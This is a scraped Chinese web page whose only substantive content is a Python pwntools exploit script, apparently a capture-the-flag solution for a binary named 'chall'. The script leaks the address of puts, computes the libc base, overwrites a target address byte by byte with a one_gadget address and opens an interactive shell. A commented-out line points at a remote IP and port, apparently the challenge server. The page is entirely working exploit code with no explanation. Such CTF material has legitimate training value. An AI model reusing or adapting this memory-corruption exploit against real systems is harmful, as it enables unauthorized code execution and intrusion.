赞
踩
【保护】:
【代码】:
#!/usr/bin/env python # coding=utf-8 from pwn import* #context.log_level=1 file='chall' lib='./libc.so.6' p=process('./'+file, env={'LD_PRELOAD':lib})#remote('39.97.210.182',10055) PIE=p.libs()[p.cwd+'/'+file] success('PIE:'+hex(PIE)) libc=ELF(lib,checksec=False) p.recvuntil('near: ') puts=int(p.recvuntil('\n'),16) libc_base=puts-libc.sym['puts'] one=0xe585f target=0x3eb0a8+libc_base success('target:'+hex(target)) success('libc_base:'+hex(libc_base)) success('GOT:'+hex(0x01ead60+libc_base)) success('shoot:'+hex((one+libc_base)&0xffffff)) shoot=(one+libc_base)&0xffffff p.sendlineafter('shoot!shoot!\n',str(target)) p.sendlineafter('biang!\n',p8(shoot&0xff)) p.sendlineafter('biang!\n',p8((shoot>>8)&0xff)) p.sendlineafter('biang!\n',p8((shoot>>16)&0xff)) p.interactive()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。